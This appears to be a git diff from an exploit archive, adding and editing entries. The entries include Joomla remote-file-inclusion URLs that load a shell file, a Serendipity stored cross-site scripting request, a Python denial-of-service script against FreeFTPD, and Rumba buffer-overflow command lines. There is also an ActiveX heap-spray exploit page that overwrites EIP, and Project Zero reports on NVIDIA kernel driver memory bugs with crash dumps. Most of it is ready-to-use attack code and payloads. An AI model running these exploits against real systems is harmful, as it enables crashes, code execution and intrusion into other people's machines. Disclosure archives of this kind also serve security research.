http://www.example.com/mtg_homepage.php?mosConfig_absolute_path=http://www.example.com http://www.example.com/install.mtg_homepage.php?mosConfig_absolute_path=http://www.example.com
|
||||
http://www.example.com/mtg_homepage.php?mosConfig_absolute_path=http://www.example.com
|
||||
http://www.example.com/install.mtg_homepage.php?mosConfig_absolute_path=http://www.example.com
|
||||
|
|
@ -8,4 +8,6 @@ Versions 1.0 and prior are vulnerable to these issues; other versions may also b
|
|||
|
||||
This BID has been retired.
|
||||
|
||||
http://www.example.com/joomla_path/components/com_rssxt/pinger.php?mosConfig_absolute_path=Shell.txt? http://www.example.com/joomla_path/components/com_rssxt/RPC.php?mosConfig_absolute_path=Shell.txt? http://www.example.com/joomla_path/components/com_rssxt/rssxt.php?mosConfig_absolute_path=Shell.txt?
|
||||
http://www.example.com/joomla_path/components/com_rssxt/pinger.php?mosConfig_absolute_path=Shell.txt?
|
||||
http://www.example.com/joomla_path/components/com_rssxt/RPC.php?mosConfig_absolute_path=Shell.txt?
|
||||
http://www.example.com/joomla_path/components/com_rssxt/rssxt.php?mosConfig_absolute_path=Shell.txt?
|
||||
72
platforms/php/webapps/40650.txt
Executable file
72
platforms/php/webapps/40650.txt
Executable file
|
|
@ -0,0 +1,72 @@
|
|||
========================================
|
||||
Title: Serendipity-2.0.4 (latest version) - Stored Cross Site Scripting
|
||||
Application: Serendipity
|
||||
Class: Sensitive Information disclosure
|
||||
Versions Affected: <= latest version
|
||||
Vendor URL: http://docs.s9y.org/
|
||||
Software URL: http://docs.s9y.org/downloads.html
|
||||
Bugs: Persistent Cross Site Scripting
|
||||
Date of found: 29.10.2016
|
||||
Author: Besim
|
||||
========================================
|
||||
|
||||
2.CREDIT
|
||||
========================================
|
||||
Those vulnerabilities was identified by Meryem AKDOĞAN and Besim ALTINOK
|
||||
|
||||
|
||||
3. VERSIONS AFFECTED
|
||||
========================================
|
||||
<= latest version
|
||||
|
||||
|
||||
4. TECHNICAL DETAILS & POC
|
||||
========================================
|
||||
|
||||
Stored Cross Site Scripting (No Admin Required)
|
||||
========================================
|
||||
|
||||
1) Editor login panel
|
||||
2) User click 'New Entry'
|
||||
3) Attacker(normal user) enter xss payload to 'Entry Body' input
|
||||
4) Vulnerability Parameter and Payload : &body=<Script>alert('Meryem ExploitDB')</Script>
|
||||
|
||||
### HTTP Request ###
|
||||
|
||||
POST /serendipity/serendipity_admin.php? HTTP/1.1
|
||||
Host: site_name
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://site_name/serendipity/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=new
|
||||
Cookie: ---
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 762
|
||||
|
||||
- POST DATA
|
||||
|
||||
serendipity[action]=admin
|
||||
&serendipity[adminModule]=entries
|
||||
&serendipity[adminAction]=save
|
||||
&serendipity[id]=
|
||||
&serendipity[timestamp]=1477314176
|
||||
&serendipity[preview]=false
|
||||
&serendipity[token]=324fa32a404e03de978d9a18f86a3338
|
||||
&serendipity[title]=New Page
|
||||
&serendipity[body]=<Script>alert('Meryem ExploitDB')</Script>
|
||||
&serendipity[extended]=
|
||||
&serendipity[chk_timestamp]=1477314176
|
||||
&serendipity[new_timestamp]=2016-10-24 15:02
|
||||
&serendipity[isdraft]=false
|
||||
&serendipity[allow_comments]=true
|
||||
&serendipity[had_categories]=1
|
||||
&serendipity[propertyform]=true
|
||||
&serendipity[properties][access]=public
|
||||
&ignore_password=
|
||||
&serendipity[properties][entrypassword]=
|
||||
&serendipity[change_author]=4
|
||||
|
||||
|
||||
99
platforms/windows/dos/40647.py
Executable file
99
platforms/windows/dos/40647.py
Executable file
|
|
@ -0,0 +1,99 @@
|
|||
from ftplib import FTP
|
||||
|
||||
print '''
|
||||
|
||||
|
||||
`,;'++';,`
|
||||
`'++++++++++++++++;`
|
||||
.+++++++++++++++++++++++'`
|
||||
;++++++:` `:++++++:
|
||||
'++++'` , +`. :; .`` .'++++;
|
||||
:++++, '+ `+.+.+`+':+:+ +:` + :++++,
|
||||
++++, `+ +`+.+`+':+.+ +:'.+. :++++
|
||||
,+++; +` +:':+`+',+`+,++.+:+ +, '+++.
|
||||
'+++` `++ ;+ ,+:'; ,: ;;+`++ +.+`+. `+++;
|
||||
+++; `: ++' + '+++ :++;++,+: + '+++
|
||||
+++, ++' ,+ .;+++++',` : + ',+ :+++
|
||||
+++` ++ +:+ +: .+++++++++++++++; : ++'+,,`,+++
|
||||
+++` `+;.+'` '++++++++++++++++++++. ;+;+:.+` .+++
|
||||
'++` ++ +,.` '++++++++++++++++++++++++. +;.+`+ ,++;
|
||||
:++, +:++`' ,+++++++++++++''++++++++++++ `+.+: :++.
|
||||
++; . +:+: +++++++++'. `;++++++++. .+' ++ +++
|
||||
+++ ;++ +: ++++++++, .+++++++; ;:+;+ +++
|
||||
:++ ;+,++ `+++++++, `++++++' +,+,.+ `++.
|
||||
++: `+`+'. ++++++' ;+++++' +`;++ '++
|
||||
'++ ,+,' ++++++, .+++++; ++ ++:
|
||||
++. ' + ++++++` +++++. ` '+.:++
|
||||
;++ +; + ;+++++` +++++ :++ ; ++:
|
||||
++, '++ `+++++, `+++++ +` `. :++
|
||||
,++ ` ;+: +++++' :++++` ,+ ++`
|
||||
++; .+++` .+++++ +++++ '++:: ++'
|
||||
++` ;+':: +++++. ++++` '`+++`.++
|
||||
.++ `++ +++++ '++++ +: ++`
|
||||
'++ `++; '++++` ++++ ++;
|
||||
++, +.,;: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++:
|
||||
++` `+++``+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
++ +;,` ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
`++ ,'+++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
,++ `++'+ ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;+++++:
|
||||
;++ `.,. +++++
|
||||
+++ '..': ,++'` ,+++` `++++
|
||||
+++ +;+` ++++: ++++++' ++++++' ++++
|
||||
+++ :.'`; ++++: ++` :+, ++` ,+: ++++
|
||||
'++ `+++. ++++; : + : + ,++++
|
||||
;++ :` ++++' `+++++
|
||||
,++ `+;;+ +++++ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; :;;;;;;;;;;;;;;++++++.
|
||||
`++ ++,+ +++++ :+++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++'
|
||||
++ ` `, ;++++ ++++++++++++++++++++++++++++++++++++: ++++++++++++++++++++
|
||||
++` .+++.`++++: ++++++++++++++++++++++++++++++++++++ `++++++++++++++++++,
|
||||
++: ','+: +++++ :+++++,,,,,,,,,,,,,,,,,,,,,,,,;+++++ ++++:,:,,:,,+++,.
|
||||
;++ +:`, '++++` +++++. +++++` ++++ '.+' ++,
|
||||
++ +++ +++++ :+++++ ++++++ ;++++ ++.+ ++
|
||||
++, ';`+' +++++` ++++++ ++++++ ++++` + +. :++
|
||||
'++ :++;, .+++++ ++++++` ++++++, +++++ ++:
|
||||
`++ +` :+, +++++: .++++++' :++++++; .++++. +` `++
|
||||
++' ;++` `+++++` ,+++++++'` :+++++++; +++++ :++` +++
|
||||
,++ ,: + '+++++ .++++++++++';:;++++++++++: +++++ ;+' ++`
|
||||
+++ :+' ++++++ ++++++++++++++++++++++` +++++. ;+` , +++
|
||||
,++ :++`;+` ++++++` :++++++++++++++++++' +++++' `+,+;`;`++.
|
||||
+++ : ++.+ `++++++: :++++++++++++++; ,+++++' ++`+ +++
|
||||
`++, +;+` `+++++++` `:++++++++:` ++++++' ++ ,+; ;++`
|
||||
'++ :+ `' ++++++++` `+++++++; +++ ;`++;
|
||||
+++ `:`+ +++++++++: ,++++++++, +,++ +++
|
||||
+++ +++;' :+++++++++++';::;'+++++++++++ ;+ +,' +++
|
||||
,+++ +++.+.: +++++++++++++++++++++++++. '' ++ + +++`
|
||||
;++' ` +`+`;. `+++++++++++++++++++++, :,+,:+: +++,
|
||||
;+++ ,++:'++` ,+++++++++++++++; ++ .++ ` +++:
|
||||
;+++ + +`+ +; .;'++++':` ++.+':++ +++:
|
||||
:+++` `++, :;+`+; ::+ +,+`+. .+++,
|
||||
.+++' `, +`:'+ +,+` +, +:+.++:';+ ++ ++++`
|
||||
++++. +':++: +;+` ': +:+ +.+ +' :++++
|
||||
:++++. . +,+,;+'` '; :'+`+'+ ,++++,
|
||||
+++++: ` +`+'` '; `++` ;++++'
|
||||
`++++++: ;' + :++++++`
|
||||
`+++++++':. `,:+++++++'
|
||||
.++++++++++++++++++++++.
|
||||
`:'++++++++++++',
|
||||
|
||||
##############################################
|
||||
# Created: ScrR1pTK1dd13 #
|
||||
# Name: Greg Priest #
|
||||
# Mail: ScrR1pTK1dd13.slammer@gmail.com #
|
||||
##############################################
|
||||
|
||||
|
||||
# Exploit Title: FreeFTPD_1.0.8_mkd_command_DoS_Exploit
|
||||
# Date: 2016.10.30
|
||||
# Exploit Author: Greg Priest
|
||||
# Version: FreeFTPD_1.0.8
|
||||
# Tested on: Windows XP, Windows 7 x64
|
||||
|
||||
'''
|
||||
|
||||
ftp_ip = raw_input("FTP server IP:")
|
||||
killerstring = 'A' * 500
|
||||
ftp = FTP('127.0.0.1')
|
||||
ftp.login('anonymous', 'h4ck3r@h4ck3r.net')
|
||||
print ftp.login
|
||||
print "SERVER KILLED"
|
||||
FTP.mkd(ftp, killerstring)
|
||||
58
platforms/windows/dos/40648.txt
Executable file
58
platforms/windows/dos/40648.txt
Executable file
|
|
@ -0,0 +1,58 @@
|
|||
# Exploit Title: Micro Focus Rumba 9.4 Multiple Local Stack-overflow
|
||||
# Date: 29-10-2016
|
||||
# Exploit Author: Umit Aksu
|
||||
# Vendor Homepage: http://www.microfocus.com/
|
||||
# Software Link: http://nadownloads.microfocus.com/epd/product_download_request.aspx?type=eval&transid=2179441&last4=2179441&code=40231
|
||||
# Version: 9.4
|
||||
# Tested on: Internet Explorer 11 on windows 7
|
||||
# CVE :
|
||||
|
||||
|
||||
1. Description
|
||||
|
||||
Multiple local stack overflow vulnerabilities which can used when to exploit when learning exploit development.
|
||||
|
||||
Note: Rumba uses send.exe and receive.exe to send and receive files so it might be possible to exploit this remotely.
|
||||
|
||||
|
||||
2. Proof of Concept
|
||||
|
||||
The code below sprayes the memory to have a valid memory address which can then be used to reference... the exploit code only makes it possible to overwrite the EIP the rest is up to you.
|
||||
|
||||
|
||||
C:\Program Files (x86)\Micro Focus\RUMBA\System>send c:\aaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaa C:\dddddddddddddddddddddddddddddddddddddddddddddddddddd
|
||||
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
|
||||
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
|
||||
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
|
||||
ddddddddddddddddddddddddaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
RUMBA Command-line File Transfer Utility
|
||||
|
||||
SEH + NSEH overwritten
|
||||
|
||||
|
||||
C:\Program Files (x86)\Micro Focus\RUMBA\System>receive.exe c:\aaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaa C:\dddddddddddddddddddddddddddddddddddddddddddddddddddd
|
||||
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
|
||||
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
|
||||
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
|
||||
ddddddddddddddddddddddddaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
|
||||
RUMBA Command-line File Transfer Utility
|
||||
102
platforms/windows/dos/40649.html
Executable file
102
platforms/windows/dos/40649.html
Executable file
|
|
@ -0,0 +1,102 @@
|
|||
# Exploit Title: Micro Focus Rumba <= 9.3 ActiveX Stack-based buffer overflow
|
||||
# Date: 29-10-2016
|
||||
# Exploit Author: Umit Aksu
|
||||
# Vendor Homepage: http://community.microfocus.com/microfocus/mainframe_solutions/rumba/w/knowledge_base/28600.micro-focus-rumba-9-x-security-update.aspx
|
||||
# Software Link: http://nadownloads.microfocus.com/epd/product_download_request.aspx?type=eval&transid=2179441&last4=2179441&code=40231
|
||||
# Version: <= 9.3
|
||||
# Tested on: Internet Explorer 11 on windows 7
|
||||
# CVE : CVE-2016-5228
|
||||
|
||||
|
||||
|
||||
1. Description
|
||||
Stack-based buffer overflow in the PlayMacro function in ObjectXMacro.ObjectXMacro in WdMacCtl.ocx in Micro Focus Rumba 9.x before 9.3 HF 11997 and 9.4.x before 9.4 HF 12815 allows remote attackers to execute arbitrary code via a long MacroName argument.
|
||||
|
||||
|
||||
2. Proof of Concept
|
||||
|
||||
The code below sprays the memory to have a valid memory address which can then be used to reference... the exploit code only makes it possible to overwrite the EIP the rest is up to you.
|
||||
|
||||
|
||||
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<object classid='clsid:56359FC0-E847-11CE-BE79-02608C8F68F1' id='_vulActiveX'>
|
||||
</object>
|
||||
</head>
|
||||
<body>
|
||||
<div id="blah"></div>
|
||||
|
||||
<script language="javascript">
|
||||
|
||||
function vuln(){
|
||||
// 272 Junk Data
|
||||
// 272 + "\x43\x43\x43\x43" = EDX = 43434343
|
||||
//
|
||||
|
||||
// If we change the edx to an address that point to a valid address
|
||||
// We will have control over EIP
|
||||
// 0x20302228
|
||||
|
||||
|
||||
// Overwrite the stack
|
||||
var evil_payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
|
||||
// Addres pointing to our sprayed heap
|
||||
var EDX = "\x28\x22\x30\x20";
|
||||
|
||||
evil_payload += EDX;
|
||||
|
||||
_vulActiveX.PlayMacro(evil_payload);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
// This create blocks of memory with data we control
|
||||
// And attaches the data to a button.title
|
||||
// By doing this we have a predicatable place in memory containing our data
|
||||
// This data can by used to place shellcode in it and can be used like in this case to
|
||||
// point to valid address to overwrite EIP
|
||||
|
||||
|
||||
// Heap Spraying technique of corelanc0d3r
|
||||
// See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
|
||||
|
||||
var div_container = document.getElementById("blah");
|
||||
div_container.style.cssText = "display:none";
|
||||
var data;
|
||||
offset = 0x104;
|
||||
var jmp_address="\x28\x22\x30\x20";
|
||||
|
||||
junk = unescape("%u4747%u4747"); // <-------- EIP Value
|
||||
while(junk.length < 0x1000) junk += junk;
|
||||
|
||||
|
||||
// 20302290
|
||||
shellcode = unescape("%u2290%u2030%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444");
|
||||
data = junk.substring(0,offset) + shellcode;
|
||||
data += junk.substring(0,0x800 - offset - shellcode.length);
|
||||
while(data.length < 0x80000) data += data
|
||||
// Targets:
|
||||
// FireFox: 0x20302210
|
||||
// IE 8, 9 and 10/11: 0x20302228
|
||||
for(var i = 0; i < 0x500; i++)
|
||||
{
|
||||
var obj = document.createElement("button");
|
||||
obj.title = data.substring(0,0x40000-0x58);
|
||||
div_container.appendChild(obj);
|
||||
}
|
||||
|
||||
|
||||
</script>
|
||||
|
||||
|
||||
<input type="button" onclick="javascript:vuln()" value="exploit" >
|
||||
|
||||
</body>
|
||||
|
||||
|
||||
|
||||
</html>
|
||||
|
||||
59
platforms/windows/dos/40656.txt
Executable file
59
platforms/windows/dos/40656.txt
Executable file
|
|
@ -0,0 +1,59 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=892
|
||||
|
||||
The handler for the DxgkDdiEscape escape code 0x70000D4 has the following pseudocode:
|
||||
|
||||
void __fastcall escape_70000D4(NvMiniportDeviceContext *a1, NvEscapeData *a2)
|
||||
{
|
||||
Escape70000D4 *escape_data_; // rbx@1
|
||||
PVOID alloc_buf; // rsi@1
|
||||
unsigned int v4; // edi@1
|
||||
__int64 user_ptr; // r14@4
|
||||
DWORD *v6; // rbx@5
|
||||
__int128 v7; // [rsp+40h] [rbp-38h]@1
|
||||
__int128 v8; // [rsp+50h] [rbp-28h]@4
|
||||
PVOID alloc_buf_; // [rsp+60h] [rbp-18h]@4
|
||||
|
||||
escape_data_ = (Escape70000D4 *)a2;
|
||||
a2->unknown_rest[6] = 1;
|
||||
LODWORD(v7) = 0;
|
||||
memset((char *)&v7 + 4, 0, 0x24ui64);
|
||||
alloc_buf = ExAllocatePoolWithTag_(PagedPool, escape_data_->user_ptr_size, 'paVN');
|
||||
v4 = 0;
|
||||
if ( !alloc_buf )
|
||||
v4 = 0xFFFF;
|
||||
if ( v4 )
|
||||
goto LABEL_12;
|
||||
HIDWORD(v8) = escape_data_->user_ptr_size;
|
||||
alloc_buf_ = alloc_buf;
|
||||
v4 = sub_625BC(0i64, dword_B1BB94, escape_data_->unknown_0, 0x83F30101, (__int64)&v7, 40);
|
||||
user_ptr = escape_data_->user_ptr;
|
||||
ProbeForWrite((PVOID)escape_data_->user_ptr, escape_data_->user_ptr_size, UserMode);
|
||||
memcpy((void *)escape_data_->user_ptr, alloc_buf, escape_data_->user_ptr_size);
|
||||
*(_OWORD *)&escape_data_->unknown_2 = v7;
|
||||
*(_OWORD *)&escape_data_->unknown_4 = v8;
|
||||
escape_data_->user_ptr = user_ptr;
|
||||
if ( v4 )
|
||||
{
|
||||
LABEL_12:
|
||||
v6 = &escape_data_->header.unknown_rest[6];
|
||||
if ( v6 )
|
||||
{
|
||||
if ( v4 <= 0xFFFFF000 )
|
||||
*v6 = -4096 - v4;
|
||||
}
|
||||
}
|
||||
if ( alloc_buf )
|
||||
ExFreePoolWithTag_(alloc_buf, 0x7061564Eu);
|
||||
}
|
||||
|
||||
ExAllocatePoolWithTag is called with a user provided size to allocate a buffer, but the subsequent copying of said buffer to the user provided pointer doesn't make sense since the buffer is never initialised with any values. This means that a user mode program can leak uninitialised memory from arbitrarily-sized pool allocations.
|
||||
|
||||
########
|
||||
|
||||
Looks like I made an oversimplified analysis of the pseudocode in the report. The allocated buffer pointer is indeed passed off to the sub_625BC function (as part of a struct member on the stack) which eventually passes it to a bunch of other functions.
|
||||
|
||||
However, this doesn't change the fact that with the provided PoC, the pool allocated buffer still isn't being initialised and is copied into the user buffer unchanged.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40656.zip
|
||||
47
platforms/windows/dos/40657.txt
Executable file
47
platforms/windows/dos/40657.txt
Executable file
|
|
@ -0,0 +1,47 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=894
|
||||
|
||||
The DxgkDdiEscape handler for 0x700010d accepts a user provided pointer as the
|
||||
destination for a memcpy call, without doing any checks on said pointer.
|
||||
|
||||
void __fastcall escape_700010D(NvMiniportDeviceContext* ctx, NvEscapeData *escape)
|
||||
{
|
||||
...
|
||||
v8 = escape->unknown_2;
|
||||
if ( v8 == 1 )
|
||||
{
|
||||
data.size = escape->size;
|
||||
data.buf = ExAllocatePoolWithTag((POOL_TYPE)512, 0xC08i64 * data.size, 0x7061564Eu);
|
||||
v9 = Escape7Handler(0i64, dword_7DCB84, dword_7DCB84, 626, &data, 0x190);
|
||||
}
|
||||
|
||||
...
|
||||
else if ( escape->unknown_2 == 1 )
|
||||
{
|
||||
memcpy(escape->user_ptr, data.buf, 3080i64 * escape->size);
|
||||
|
||||
|
||||
(Win 10 x64 372.54) crashing context with PoC (in memcpy) on a write to 0x4141414141414141:
|
||||
|
||||
SYSTEM_SERVICE_EXCEPTION (3b)
|
||||
...
|
||||
CONTEXT: ffffd0002d2ab5c0 -- (.cxr 0xffffd0002d2ab5c0)
|
||||
rax=0000000000000001 rbx=ffffc0016c9b9b40 rcx=000000000000000f
|
||||
rdx=bebe9ebf4b4e0ecf rsi=0000000000000001 rdi=000000007061564e
|
||||
rip=fffff8005488ab00 rsp=ffffd0002d2abfe8 rbp=ffffd0002d2ac0f0
|
||||
r8=0000000000000bf9 r9=ffffd00024014ac0 r10=0000000000000000
|
||||
r11=4141414141414141 r12=0000000000000340 r13=fffff800542b0000
|
||||
r14=ffffe0008fb2d000 r15=0000000000000001
|
||||
iopl=0 nv up ei pl nz ac po nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010216
|
||||
nvlddmkm+0x5dab00:
|
||||
fffff800`5488ab00 f3410f7f03 movdqu xmmword ptr [r11],xmm0 ds:002b:41414141`41414141=????????????????????????????????
|
||||
|
||||
To reproduce, compile the PoC as a x64 binary (requires linking with
|
||||
setupapi.lib, and WDK for D3DKMTEscape), and run. It may require some changes
|
||||
as for it to work as the escape data must contain the right values (e.g. a
|
||||
field that appears to be gpu bus device function). My PoC should hopefully set
|
||||
all the right values for the machine it's running on.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40657.zip
|
||||
57
platforms/windows/dos/40658.txt
Executable file
57
platforms/windows/dos/40658.txt
Executable file
|
|
@ -0,0 +1,57 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=895
|
||||
|
||||
The DxgkDdiEscape handler for 0x7000194 doesn't do bounds checking with the
|
||||
user provided lengths it receives. When these lengths are passed to memcpy,
|
||||
overreads and memory corruption can occur.
|
||||
|
||||
void __fastcall escape_7000194(NvMiniportDeviceContext *ctx, Escape7000194 *escape_data)
|
||||
...
|
||||
|
||||
alloc_0_ = ExAllocatePoolWithTag_(PagedPool, escape->size_0, 0x7061564Eu);
|
||||
|
||||
...
|
||||
|
||||
alloc_1 = ExAllocatePoolWithTag_(PagedPool, escape->size_1, 0x7061564Eu);
|
||||
|
||||
..
|
||||
|
||||
if ( (_BYTE)v11 ) {
|
||||
memcpy(alloc_0, escape->buf_0, escape->size_0);
|
||||
memcpy(alloc_1, escape->buf_2, escape->size_1);
|
||||
}
|
||||
v8 = Escape7Handler(0i64, dword_7DCB84, *(_DWORD *)(v3 + 24), 0x402C0105, &escape->data, 96);
|
||||
v9 = v8;
|
||||
if ( !(_BYTE)v11 && !v8 )
|
||||
memcpy(escape->buf_0, alloc_0, escape->size_0);
|
||||
|
||||
...
|
||||
|
||||
The PoC I've provided causes an OOB read, but it should be possible to pass an
|
||||
input that results in the third memcpy being executed instead of the first two,
|
||||
which leads to kernel memory corruption (OOB write).
|
||||
|
||||
(Win 10 x64 372.54) crashing context with PoC:
|
||||
|
||||
PAGE_FAULT_IN_NONPAGED_AREA (5)
|
||||
...
|
||||
Some register values may be zeroed or incorrect.
|
||||
rax=0000000000000007 rbx=0000000000000000 rcx=ffffc000f5220f80
|
||||
rdx=fffffffff3d5509c rsi=0000000000000000 rdi=0000000000000000
|
||||
rip=fffff8007d4dad66 rsp=ffffd00166b9d2a8 rbp=ffffc000e8f55038
|
||||
r8=0000000000020fc0 r9=000000000006603e r10=0000000000020000
|
||||
r11=ffffc000f5200000 r12=0000000000000000 r13=0000000000000000
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei pl nz na pe nc
|
||||
nvlddmkm+0x5dad66:
|
||||
fffff800`7d4dad66 f30f6f4c0ae0 movdqu xmm1,xmmword ptr [rdx+rcx-20h] ds:ffffc000`e8f75ffc=????????????????????????????????
|
||||
Resetting default scope
|
||||
|
||||
To reproduce, compile the PoC as a x64 binary (requires linking with
|
||||
setupapi.lib, and WDK for D3DKMTEscape), and run. It may require some changes
|
||||
as for it to work as the escape data must contain the right values (e.g. a
|
||||
field that appears to be gpu bus device function). My PoC should hopefully set
|
||||
all the right values for the machine it's running on.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40658.zip
|
||||
30
platforms/windows/dos/40659.txt
Executable file
30
platforms/windows/dos/40659.txt
Executable file
|
|
@ -0,0 +1,30 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=911
|
||||
|
||||
The DxgkDdiEscape handler for 0x600000D passes an unchecked user provided
|
||||
pointer as the destination for a memcpy call. This leads to kernel memory
|
||||
corruption.
|
||||
|
||||
(Win 10 x64 372.54) crashing context with PoC:
|
||||
|
||||
SYSTEM_SERVICE_EXCEPTION (3b)
|
||||
CONTEXT: ffffd000c076c8b0 -- (.cxr 0xffffd000c076c8b0)
|
||||
rax=0000000000000880 rbx=0000000000000000 rcx=000000000000000f
|
||||
rdx=bebe9ec057cc7d47 rsi=ffffd000c076d870 rdi=ffffe001990da008
|
||||
rip=fffff8010f1eab00 rsp=ffffd000c076d2d8 rbp=ffffd000c076d360
|
||||
r8=0000000000003ff1 r9=fffff8010f217d48 r10=fffff78000000008
|
||||
r11=4141414141414141 r12=0000000000000000 r13=ffffe001990dbe88
|
||||
r14=ffffe001945f1201 r15=0000000000004000
|
||||
iopl=0 nv up ei pl nz ac pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010212
|
||||
nvlddmkm+0x5dab00:
|
||||
fffff801`0f1eab00 f3410f7f03 movdqu xmmword ptr [r11],xmm0 ds:002b:41414141`41414141=????????????????????????????????
|
||||
Resetting default scope
|
||||
|
||||
To reproduce, compile the PoC as a x64 binary (requires WDK for D3DKMTEscape),
|
||||
and run.
|
||||
|
||||
